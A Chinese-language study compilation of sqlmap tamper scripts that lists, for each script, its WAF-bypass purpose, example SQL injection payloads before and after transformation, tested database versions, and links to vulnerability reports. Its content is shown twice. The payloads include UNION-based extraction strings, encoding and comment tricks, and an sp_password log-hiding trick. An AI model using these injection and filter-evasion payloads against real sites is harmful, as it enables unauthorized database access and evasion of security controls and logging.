0x00 背景
sqlmap中的tamper脚本来对目标进行更高效的攻击。
由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。
0x01 start
脚本名:apostrophemask.py
作用:用utf8代替引号
1
|
Example: (
"1 AND '1'='1"
) '1
AND
%EF%BC%871%EF%BC%87=%EF%BC%871'
|
Tested against: all
脚本名:equaltolike.py
作用:like 代替等号
1
2
3
4
5
|
Example:
* Input:
SELECT
*
FROM
users
WHERE
id=1
*
Output
:
SELECT
*
FROM
users
WHERE
id
LIKE
1
|
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三:http://wooyun.org/bugs/wooyun-2010-072489
脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
1
|
Example: (
'1 AND 9227=9227'
)
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
|
Tested against: * MSSQL * SQLite
案例一:http://wooyun.org/bugs/wooyun-2010-062878
脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
1
|
Example: (
'1 AND A > B'
)
'1 AND GREATEST(A,B+1)=A'
Tested against: * MySQL 4, 5.0
and
5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
|
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
1
2
3
4
|
Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement:
-
MySQL Tested against:
-
MySQL 4.0, 5.0
参考:法克的一篇文章
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
1
|
Example: tamper(
"1 AND '1'='1"
) '1
AND
%00%271%00%27=%00%271'
|
Tested against:
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
1
2
3
|
Example:
(
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
)
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
1
2
3
4
5
|
Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
案例一:91ri一篇文章
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
1
|
Example: (
'1 AND 1=1'
)
'1 AND 1=1%00'
|
Requirement:
- Microsoft Access
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
1
2
3
|
Example:
(
'IFNULL(1, 2)'
)
'IF(ISNULL(1),2,1)'
|
Requirement:
-
MySQL
-
SQLite (possibly)
-
SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: wooyun.org/bugs/wooyun-2010-062878
脚本名:base64encode.py
作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229
脚本名:space2mssqlhash.py
作用:替换空格
1
|
Example: (
'1 AND 9227=9227'
)
'1%23%0AAND%23%0A9227=9227'
Requirement: * MSSQL * MySQL
|
脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
1
|
Example: (
'1 AND 2>1--'
)
'1 /*!30874AND 2>1*/--'
|
Requirement: * MySQL
Tested against:
- MySQL 5.0
脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
1
2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
%0Bid%0BFROM%A0users
|
Requirement:
- MySQL
Tested against:
- MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735
脚本名:between.py
作用:用between替换大于号(>)
1
|
Example: (
'1 AND A > B--'
)
'1 AND A NOT BETWEEN 0 AND B--'
|
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
脚本名:space2mysqldash.py
作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
注:之前有个mssql的 这个是mysql的
1
|
Example: (
'1 AND 9227=9227'
)
'1--%0AAND--%0A9227=9227'
|
Requirement:
-
MySQL
-
MSSQL
脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
1
|
Example: (
'1 UNION SELECT foobar'
)
'1 UNION SELECT foobar'
|
Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
脚本名:space2plus.py
作用:用+替换空格
1
|
Example: (
'SELECT id FROM users'
)
'SELECT+id+FROM+users'
Tested against:
all
|
脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
1
|
Example: (
'SELECT id FROM users where id = 1'
)
'SELECT%09id FROM users where id LIKE 1'
|
Tested against:
- MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
1
|
Example: (
'1 UNION SELECT 2--'
)
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
|
脚本名:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
1
|
Example: (
'SELECT id FROM users'
)
'SELECT%0Did%0DFROM%0Ausers'
|
Tested against: all
脚本名:sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
1
|
Example: (
'1 AND 9227=9227-- '
)
'1 AND 9227=9227-- sp\_password'
Requirement: * MSSQL
|
脚本名:chardoubleencode.py
作用: 双url编码(不处理以编码的)
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
|
脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名:charencode.py
作用:url编码
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
|
tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
脚本名:randomcase.py
作用:随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
1
2
3
4
5
|
Example:
* Input: 1′
AND
1=1
*
Output
: 1%bf%27
AND
1=1–%20
|
脚本名:randomcomments.py
作用:用/**/分割sql关键字
1
2
3
|
Example:
‘
INSERT
’ becomes ‘
IN
//S//ERT’
|
脚本名:charunicodeencode.py
作用:字符串 unicode 编码
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD%20FROM
TABLE
*
Output
: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
|
Requirement:
-
ASP
-
ASP.NET
Tested against:
-
Microsoft SQL Server 2000
-
Microsoft SQL Server 2005
-
MySQL 5.1.56
-
PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
脚本名:securesphere.py
作用:追加特制的字符串
1
|
Example: (
'1 AND 1=1'
)
"1 AND 1=1 and '0having'='0having'"
|
Tested against: all
脚本名:versionedmorekeywords.py
作用:注释绕过
1
2
3
4
5
|
Example:
* Input: 1
UNION
ALL
SELECT
NULL
,
NULL
, CONCAT(
CHAR
(58,122,114,115,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,115,114,121,58))#
*
Output
: 1/*!
UNION
**!
ALL
**!
SELECT
**!
NULL
*/,/*!
NULL
*/,/*!CONCAT*/(/*!
CHAR
*/(58,122,114,115,58),/*!IFNULL*/(
CAST
(/*!
CURRENT_USER
*/()/*!
AS
**!
CHAR
*/),/*!
CHAR
*/(32)),/*!
CHAR
*/(58,115,114,121,58))#
|
Requirement:
- MySQL >= 5.1.13
脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
1
2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
//id//
FROM
/**/users
|
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
1
2
3
4
5
|
Example:
* Input: value’
UNION
ALL
SELECT
CONCAT(
CHAR
(58,107,112,113,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,97,110,121,58)),
NULL
,
NULL
#
AND
‘QDWa’=
'QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='
QDWa
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html
----------------------------------------------------------------------------------------------------------------------------------------------------------------
sqlmap tamper 脚本整理
可一次使用多个脚本,中间用逗号隔开。
apostrophemask.py
用utf8代替引号
Example:
("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against:
all
—————————————————————————————
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————————
space2dash.py
绕过过滤‘=’ 替换空格字符(''),(' - ')后跟一个破折号注释,一个随机字符串和一个新行('\ n')
Example:
('1 AND 9227=9227')
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against:
* MSSQL
* SQLite
—————————————————————————————
greatest.py
绕过过滤'>' ,用GREATEST替换大于号。
Example:
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
——————————————————
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
Replaces apostrophe character with its illegal double unicode counterpart
Example:
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
Example:
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
Example:
('1 AND 1=1')
'1 AND 1=1%00'
Requirement:
* Microsoft Access
——————————————
ifnull2ifisnull.py
绕过对 IFNULL 过滤。
替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)'
Example:
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
————————————————-
base64encode.py
用base64编码替换
Example:
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
Requirement:
all
————————————————-
space2mssqlhash.py
替换空格
Example:
('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
Requirement:
* MSSQL
* MySQL
————————————————-
modsecurityversioned.py
然过过滤空格,包含完整的查询版本注释
Example:
('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
Requirement:
* MySQL
Tested against:
* MySQL 5.0
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
Tested against:
* MySQL 5.1
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# - A0 - (MySQL only)
———————————————————————————-
between.py
用between替换大于号(>)
Example:
('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
———————————————————————————-
modsecurityzeroversioned.py
包含了完整的查询与零版本注释
Example:
('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
Requirement:
* MySQL
Tested against:
* MySQL 5.0
———————————————————————————-
space2mysqldash.py
替换空格字符('')(' - ')后跟一个破折号注释一个新行('\ n')
Example:
('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
Requirement:
* MySQL
* MSSQL
———————————————————————————-
multiplespaces.py
围绕SQL关键字添加多个空格
Example:
('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
Tested against:
all
———————————————————————————-
space2plus.py
用+替换空格
Example:
('SELECT id FROM users')
'SELECT+id+FROM+users'
Tested against:
all
———————————————————————————-
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
Example:
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
Tested against:
* MySQL 5.1, SGOS
———————————————————————————-
nonrecursivereplacement.py
双重查询语句
Replaces predefined SQL keywords with representations
suitable for replacement (e.g. .replace("SELECT", "")) filters
取代predefined SQL关键字with表示
suitable for替代(例如 .replace(“SELECT”、"")) filters
Example:
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
———————————————————————————-
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
Example:
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
Tested against:
all
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号
Adds a percentage sign (‘%’) infront of each character
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
———————————————————————————
sp_password.py
追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾
Example:
('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
Requirement:
* MSSQL
———————————————————————————
chardoubleencode.py 双url编码(不处理以编码的)
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————
unionalltounion.py
替换UNION ALL SELECT UNION SELECT
Example:
('-1 UNION ALL SELECT')
'-1 UNION SELECT'
Requirement:
all
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charencode.py
url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
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randomcase.py 随机大小写
Replaces each keyword character with random case value
Example:
* Input: INSERT
* Output: InsERt
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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unmagicquotes.py 宽字符绕过 GPC addslashes
Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
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randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN//S//ERT’
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versionedkeywords.py
Encloses each non-function keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
—————————————————————————-
charunicodeencode.py
字符串 unicode 编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
—————————————————————————-
securesphere.py
追加特制的字符串
Example:
('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
Tested against:
all
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versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
—————————————————————————-
space2comment.py
Replaces space character (‘ ‘) with comments ‘/**/’
Example:
* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
—————————————————————————-
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22